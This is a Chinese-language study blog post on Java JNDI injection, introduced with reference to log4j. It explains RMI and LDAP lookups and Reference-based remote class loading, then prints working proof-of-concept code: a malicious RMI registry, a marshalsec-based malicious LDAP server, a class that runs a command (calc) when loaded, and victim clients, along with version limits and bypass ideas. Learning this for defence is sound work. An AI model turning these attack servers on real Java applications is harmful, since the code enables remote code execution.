前言
log4j后就该早早学的,但是感觉0基础入门实在是有点难度,所以拖了好长时间。这里先给本文立个框架
- jndi介绍
- RMI动态加载恶意类
- jndi注入利用思路
- RMI-JNDI注入
- LDAP-JNDI注入
- 版本及参考
JNDI介绍
JNDI全称为Java命名和目录接口。我们可以理解为JNDI提供了两个服务,即命名服务和目录服务。
命名服务
命名服务将一个对象和一个名称进行绑定,然后放置到一个容器里面。当我们想要获取这个对象的时候,就可以通过容器来查找这个名称,从而获得这个对象。
目录服务
目录服务就是将一些对象的属性放置到容器中,然后想要操作这个属性的时候,就通过容器来进行查找。
这里其实就是对这些服务进行了再封装,假如说以前我们访问rmi与ldap等要用的代码等等差别很大,但是多了JNDI这一层后就可以用JNDI的方式轻松访问rmi和ldap等的服务,访问的方式代码形式也基本一样了,目前JNDI
可访问的现有的目录及服务有:JDBC
、LDAP
、RMI
、DNS
、NIS
、CORBA
。这里只分析RMI
、LDAP
JNDI自身并不区分客户端和服务器端,也不具备远程能力,但是被其协同的一些其他应用一般都具备远程能力,JNDI在客户端和服务器端都能够进行一些工作,客户端上主要是进行各种访问,查询,搜索,而服务器端主要进行的是帮助管理配置。比如在RMI服务器端上可以不直接使用Registry进行bind(绑定)操作,而是使用JNDI统一管理,当然JNDI底层应该还是调用的Registry进行bind,但好处JNDI提供的是统一的配置接口;在客户端也可以直接通过类似URL的形式来访问目标服务
RMI动态加载恶意类
RMI介绍
RMI(Remote Method Invocation),远程方法调用。跟RPC差不多,是java独立实现的一种机制。实际上就是在一个java虚拟机上调用另一个java虚拟机的对象上的方法。
RMI分为三个主体部分:
Client-客户端:客户端调用服务端的方法
Server-服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果。
Registry-注册中心:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用。
RMI使用
Server部署:
Server向Registry注册远程对象,远程对象绑定在一个//hostL:port/objectname上,形成一个映射表(Service-Stub)。
Client调用:
Client向Registry通过RMI地址查询对应的远程引用(Stub)。这个远程引用包含了一个服务器主机名和端口号。
Client拿着Registry给它的远程引用,照着上面的服务器主机名、端口去连接提供服务的远程RMI服务器
Client传送给Server需要调用函数的输入参数,Server执行远程方法,并返回给Client执行结果。
列举几个函数
bind:将远程对象绑定到注册中心
rebind:重新绑定一个远程对象
unbind:取消一个过程对象的绑定
list:列出注册中心绑定对象
lookup:在注册中心获取一个远程对象的存根
RMI利用
RMI远程加载代码的过程,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase(就算是一个地址,指定jvm
从哪个地方去搜集类,和ClassPath,jdbc的url一样,通常是远程的URL,比如http,ftp等)中的类,所以只要控制了codebase
,就可以加载任何恶意类
但是官方注意到后,在后面的版本(6u45、7u21,8u121以后)加了限制(java.rmi.server.useCodebaseOnly
默认配置已经改为了true。),满足如下条件的才可以攻击
- 安装并配置了
SecurityManager
,(需要自己设置为trust) java.rmi.server.useCodebaseOnly
配置为 flase,如果为 true,则将禁用自动加载类文件,不允许远程加载对象
JNDI注入思路
这里我们要先知道一个点,通过JNDI可以远程加载对象。并且除了Context.PROVIDER_URL
设置的URL外,我们可以在lookup参数中指定URL,例如lookup("rmi://127.0.0.1:1099/test")
,由于JNDI存在一个动态地址转换协议,也就是说当我们在lookup上指定一个URL的时候,就会优先于Context.PROVIDER_URL
的设置进行加载,所以如果这个lookup参数可控的话,那么我们就可以传入恶意的url地址来控制受害者加载攻击者指定的恶意类,但是在RMI中,调用远程方法,最终的执行是服务端去执行。只是把最终的结果以序列化的形式传递给客户端,所以除非受害者内部就存在漏洞组件及反序列化漏洞,我们才可以构造恶意的序列化对象,返回给客户端去触发漏洞,那如果目标组件不存在反序列化漏洞,就算我们返回一个恶意对象,但是客户端本地没有这个class文件,当然也就不能成功获取到这个对象。
Reference
为了解决上面这个问题,我们引入了一个Reference类,这个类表示对存在于命名或者目录系统以外的对象的引用。简单理解一下,就是如果RMI服务端返回的是一个Reference对象或者其子类对象的话,当客户端获取远程对象Stub的时候,我们就可以指定客户端从一个具体的服务端上去加载class文件从而完成这个类的实例化。
Reference(String name)
为类名为"name"的对象构造一个新的应用
Reference(String name , RefAddr addr)
为类型为"name"的对象和地址构造一个新引用
Reference(String name, ReAddr addr, String factory,String factoryLocation)
为类名为"name"的对象,对象工厂的类名和为止以及对象的地址构造一个新的引用
Reference(String name,String factory,String factoryLocation)
为类名为"name"的对象以及对象工厂的类名和位置构造一个新的应用
整体流程思路也就是
- 目标程序调用lookup(String)进行JNDI操作,且参数是用户可控,攻击者传入URL指向自己的恶意RMI/LDAP服务器;
- 恶意RMI/LDAP服务器向目标程序返回一个恶意的JNDI引用Reference,该Reference对象包含了攻击者指定的恶意ObjectFactory类的加载地址;
- 目标程序解码该JNDI Reference,得到恶意ObjectFactory类的加载地址;
- 目标程序从攻击者指定的远程加载地址获取恶意ObjectFactory类的class字节码;
- 实例化获取到的恶意ObjectFactory类,ObjectFactory类中的恶意代码得以执行。
理论已经很明白了,接下来实操
RMI-JNDI注入
编写及利用
拿python3开启一个简易的http服务
python -m http.server 8081
server端(也就是黑客端)我们创建如下Reference类实例,并将其绑定到注册表中:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class server {
public static void main(String[] args) throws Exception{
//
Registry registry = LocateRegistry.createRegistry(1099);
Reference test = new Reference("1","Evil","http://127.0.0.1:8081/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(test);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/test'");
registry.bind("test",referenceWrapper);
}
}
启动
然后编写一个evil.java恶意类
public class Evil {
public Evil() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
最后使用JNDI来远程获取这个绑定的对象,最终会在本地弹出计算器框:
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
InitialContext context = new InitialContext();
context.lookup("rmi://127.0.0.1:1099/test");
}
}
断点分析
从Server端解析传入的URL,直接来到RegistryContexr#lookup
方法,
this.registry
仍然是RegistryImpl_Stub
,执行lookup
方法获取的是一个ReferenceWrapper_Stub
对象
在
RegistryContext#decodeObject
方法中会根据这个ReferenceWrapper_Stub
对象获取Reference对象
跟进getReference
方法,发现又调用了UnicastRef#invoke
⽅法
相当于进⾏了⼀次远程⽅法调⽤
这里的参数正好对应着 RMI 服务端中的 ReferenceWrapper#getReference
⽅法(由ReferenceWrapper 实现的 RemoteReference 接⼝)
于是这次远程⽅法调⽤的结果就是返回了远程 ReferenceWrpper
包装的 Reference 对象
因为条件运算符前面成立,返回前面得表达式,继续跟进到 NamingManager#getObjectInstance
⽅法,跟到NamingManager##getObjectFactoryFromReference
方法获取factory实例
跟进发现首先进行本地加载,加载失败以后,再从codebase加载factory
其中,下面的LoadClass加载方式为 URLClassLoader
,成功加载执行了恶意代码,最后返回factory实例
版本问题
rmi在6u132,7u122,8u113之前可以用,此后系统属性 com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为false,如需利用还需添加代码
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
接下来操作LDAP+JNDI注入,因为LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制。
LDAP-JNDI注入
LDAP一般指轻型目录访问协议(Lightweight Directory Access Protocol),可以把它理解成存储数据的数据库。和其他数据库一样,LDAP也是有client端和server端。server端是用来存放资源,client端用来操作增删改查等操作。
编写及利用
需要unboundid-ldapsdk的依赖:
<dependencies>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
</dependencies>
server是参考marshalsec,修改得到
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8080/#test"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
client端
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class client {
public static void main(String[] args) throws NamingException {
Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/test");
}}
恶意类
public class test{
public test() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
版本问题
ldap的jndi在6u211、7u201、8u191、11.0.1后也将默认的com.sun.jndi.ldap.object.trustURLCodebase
设置为了false
版本限制
就放一张图吧,原因前面也有解释
当然在8u191又有大佬们提出了绕过,思路先写出来以后分析
- LDAP Server直接返回恶意序列化数据,但是需要目标环境存在Gadget依赖
- 使用本地的Factory绕过(主要利用了
org.apache.naming.factory.BeanFactory
类)
参考JNDI注入解析
参考[Java安全]JNDI注入学习
参考Java安全之JNDI注入